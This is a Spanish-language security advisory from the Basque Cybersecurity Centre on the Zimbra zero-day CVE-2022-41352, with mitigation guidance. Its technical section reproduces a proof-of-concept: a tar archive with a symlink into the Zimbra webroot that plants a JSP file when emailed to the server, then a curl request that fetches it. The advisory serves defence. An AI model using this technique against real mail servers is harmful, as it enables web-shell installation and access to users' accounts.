Basque CyberSecurity Centre

Vulnerabilidad zero-day en Zimbra

TLP: CLEAR

www.ciberseguridad.eus

EUSKO JAURLARITZA GOBIERNO VASCO

GRUPO spri TALDEA

TABLA DE CONTENIDO

Sobre el BCSC.....3

1. Resumen ejecutivo.....4

2. Análisis técnico.....5

3. Mitigación / Solución.....6

4. Referencias Adicionales.....7

Cláusula de exención de responsabilidad

El presente documento se proporciona con el objeto de divulgar las alertas que el BCSC considera necesarias en favor de la seguridad de las organizaciones y de la ciudadanía interesada. En ningún caso el BCSC puede ser considerado responsable de posibles daños que, de forma directa o indirecta, de fortuita o extraordinaria pueda ocasionar el uso de la información revelada, así como de las tecnologías a las que se haga referencia tanto de la web de BCSC como de información externa a la que se acceda mediante enlaces a páginas webs externas, a redes sociales, a productos de software o a cualquier otra información que pueda aparecer en la alerta o en la web de BCSC. En todo caso, los contenidos de la alerta y las contestaciones que pudieran darse a través de los diferentes correos electrónicos son opiniones y recomendaciones acorde a los términos aquí recogidos no pudiendo derivarse efecto jurídico vinculante derivado de la información comunicada.

Cláusula de prohibición de venta

Queda terminantemente prohibida la venta u obtención de cualquier beneficio económico, sin perjuicio de la posibilidad de copia, distribución, difusión o divulgación del presente documento.

Sobre el BCSC

El Centro Vasco de Ciberseguridad (Basque Cybersecurity Centre, BCSC) es la entidad designada por el Gobierno Vasco para elevar el nivel de madurez de la ciberseguridad en Euskadi.

Es una iniciativa transversal que se enmarca en la Agencia Vasca de Desarrollo Empresarial (SPRI), sociedad dependiente del Departamento de Desarrollo Económico, Sostenibilidad y Medio Ambiente del Gobierno Vasco. Así mismo, involucra a otros tres Departamentos del Gobierno Vasco: el de Seguridad, el de Gobernanza Pública y Autogobierno, y el de Educación, y a cuatro agentes de la Red Vasca de Ciencia, Tecnología e Innovación: Tecnalia, Vicomtech, Ikerlan y BCAM.

El BCSC es la entidad de referencia para el desarrollo de la ciberseguridad y de la confianza digital de ciudadanos, empresas e instituciones públicas en Euskadi, especialmente para los sectores estratégicos de la economía de la región.

La misión del BCSC es por tanto promover y desarrollar la ciberseguridad en la sociedad vasca, dinamizar la actividad empresarial de Euskadi y posibilitar la creación de un sector profesional que sea referente. En este contexto se impulsa la ejecución de proyectos de colaboración entre actores complementarios en los ámbitos de innovación tecnológica, investigación y transferencia tecnológica a la industria de fabricación avanzada y otros sectores.

Así mismo, ofrece diferentes servicios en su rol como Equipo de Repuesta a Incidentes (en adelante CERT, por sus siglas en inglés “Computer Emergency Response Team”) y trabaja en el ámbito de la Comunidad Autónoma del País Vasco para aumentar la capacidad de detección y alerta temprana de nuevas amenazas, la respuesta y análisis de incidentes de seguridad de la información, y el diseño de medidas preventivas para atender a las necesidades de la sociedad vasca. Con el fin de alcanzar estos objetivos forma parte de diferentes iniciativas orientadas a la gestión de incidentes de ciberseguridad:

FIRST Improving Security Together
TF-CSIRT Trusted Introducer
CSIRT.es

1. Resumen ejecutivo

En septiembre del 2022, un foro de administradores de Zimbra publicó los detalles de una serie de ataques realizados contra Zimbra Collaboration Suite (ZCS), un cliente web y servidor de correo electrónico. Dicha vulnerabilidad, identificada bajo el CVE-2022-41352 y cuya criticidad es de 9.8 según la escala CVSSv3, permite a un atacante remoto la ejecución de código arbitrario (RCE).

Por el momento se conoce que dicho fallo ha sido explotado de manera activa al menos desde el mes de septiembre, desconociendo la identidad de los atacantes responsables de los incidentes. En adición a lo anterior, los administradores de los sistemas afectados han alegado que, en el momento en el que se llevaron a cabo los compromisos de los sistemas vulnerables, estaban correctamente actualizados.

Así mismo, la compañía no ha lanzado un parche oficial, pero si ha publicado una mitigación alternativa dirigida a esta vulnerabilidad de tipo zero-day.

Por otra parte, los investigadores han dado a conocer recientemente una prueba de concepto (PoC) utilizada para explotar el error. Debido a la publicación del exploit, junto con la posibilidad de que los administradores no hayan aplicado actualmente las soluciones publicadas, esta vulnerabilidad representa una grave amenaza para aquellas organizaciones que hagan un uso habitual del software afectado.

Debido a esto, para prevenir esta y otras vulnerabilidades, desde el BCSC se recomienda tener siempre los sistemas y aplicaciones actualizadas a la última versión disponible en cuanto se publiquen los parches correspondientes.

2. Análisis técnico

La vulnerabilidad zero-day, catalogada bajo el CVE-2022-41352, existe debido a que Amavis, un sistema de seguridad de correo electrónico, utiliza *cpio* de forma insegura para extraer archivos si el paquete *pax* no está instalado en el sistema. Amavis extrae el contenido de los archivos adjuntos comprimidos para el escaneo de virus y utiliza *cpio* de forma insegura. Un atacante remoto puede enviar un archivo especialmente diseñado al sistema de correo electrónico que, una vez extraído, puede sobrescribir archivos arbitrarios en la webroot de Zimbra, instalar código Shell y acceder a las cuentas privadas de los usuarios.

Cabe destacar que se ha publicado una prueba de concepto (PoC), donde se muestran los detalles técnicos utilizados para explotar la vulnerabilidad destacada. A continuación, se adjunta una captura de pantalla que muestra la información destacada:

```
$ sudo mkdir -p /opt/zimbra/jetty_base/webapps/zimbra/public
$ sudo chown ron.ron /opt/zimbra/jetty_base/webapps/zimbra/public
$ ln -s /opt/zimbra/jetty_base/webapps/zimbra/public ./akbdemo
$ echo '<% out.println("Hello world!"); %>' > akbdemo/akbtest.jsp
$ tar -cf akbdemo.tar akbdemo akbdemo/akbtest.jsp
$ tar -tvf akbdemo.tar
lrwxrwxrwx ron/ron          0 2022-10-06 09:25 akbdemo -> /opt/zimbra/jetty_base/webapps/zimbra/public
-rw-r--r-- ron/ron         35 2022-10-06 09:26 akbdemo/akbtest.jsp

[Email akbtest.tar to the target Zimbra server]

$ curl -k 'https://172.16.166.158/public/akbtest.jsp'
Hello world!
```

Ilustración 1 PoC de exploit que aprovecha la vulnerabilidad CVE-2022-41352

Para poder aprovechar el fallo zero-day deben de darse dos condiciones de manera conjunta. La primera de ellas consiste en que la versión de *cpio* instalada debe ser una versión vulnerable. Además, la utilidad *pax* no debe estar instalada en el sistema que puede ser afectado. Cabe destacar que *pax* no suele estar presente de manera predeterminada, siendo la mayoría de los sistemas posibles objetivos de explotación.

Para finalizar, se destacan los recursos afectados por la vulnerabilidad descrita anteriormente:

- Oracle Linux versión 8.
- Red Hat Enterprise Linux versión 8.
- Rocky Linux versión 8.
- CentOS versión 8.

3. Mitigación / Solución

Como es habitual, para prevenir esta y otras vulnerabilidades, desde el BCSC se recomienda tener siempre los sistemas y aplicaciones actualizadas a la última versión disponible en cuanto se publiquen los parches correspondientes.

Es importante que se tomen medidas rápidamente para parchear o mitigar este problema en la implementación. Por ello, dada la gravedad de la vulnerabilidad, se recomienda aplicar la mitigación alternativa publicada por el fabricante, además de consultar de manera proactiva los posibles avisos proporcionados que aporten las instrucciones correspondientes para implementar el parche oficial, que por el momento no ha sido publicado.

La solución destacada anteriormente cambia según la distribución utilizada por cada organización, pero todas ellas radican en la instalación de la utilidad *pax*. A continuación, se diferencia la mitigación conocida según la distribución afectada y su versión:

- En el caso de Ubuntu, se debe ejecutar el siguiente comando en la terminal del sistema: *apt install pax*.
- En CentOS7 y derivados, se debe ejecutar el siguiente comando en la terminal del sistema: *yum install pax*.
- En CentOS8 y derivados, se debe ejecutar el siguiente comando en la terminal del sistema: *dnf install spax*.

Para final la instalación, se debe reiniciar Zimbra mediante el uso de los siguientes comandos:

- Primeramente, se debe ejecutar *sudo su zimbra*.
- Para finalizar, se ejecuta *zmcontrol restart*.

4. Referencias Adicionales

- Attacker managed to upload files into Web Client directory.
- Zimbra.
- NIST: CVE-2022-41352 Detail.
- CWE-94: Improper Control of Gemeration of Code ('Code Injection').
- AttackerKB: CVE-2022-41352.
- Amavisd-new.
- ¿Cómo usar el commando CPIO en Linux?
- pax(1) – página del manual de Linux.
- Hackers exploiting unpatched RCE bug in Zimbra Collaboration Suite.
- Hacker Exploiting Unpatched RCE Flaw in Zimbra Collaboration Suite.
- Exploitation of Unpatched Zero-Day Remote Code Execution Vulnerability in Zimbra Collaboration Suite (CVE-2022-41352).
- Security Update – make sure to install pax/spax.

Basque CyberSecurity Centre

Reportar incidente

Si has detectado algún incidente de ciberseguridad, avísanos para que tomemos las medidas oportunas para evitar su propagación.

900 104 891

incidencias@bcsc.eus

Catálogo de ciberseguridad

¿Necesitas ayuda con tu ciberseguridad o la de tu empresa?

EUSKO JAURLARITZA GOBIERNO VASCO

GRUPO spri TALDEA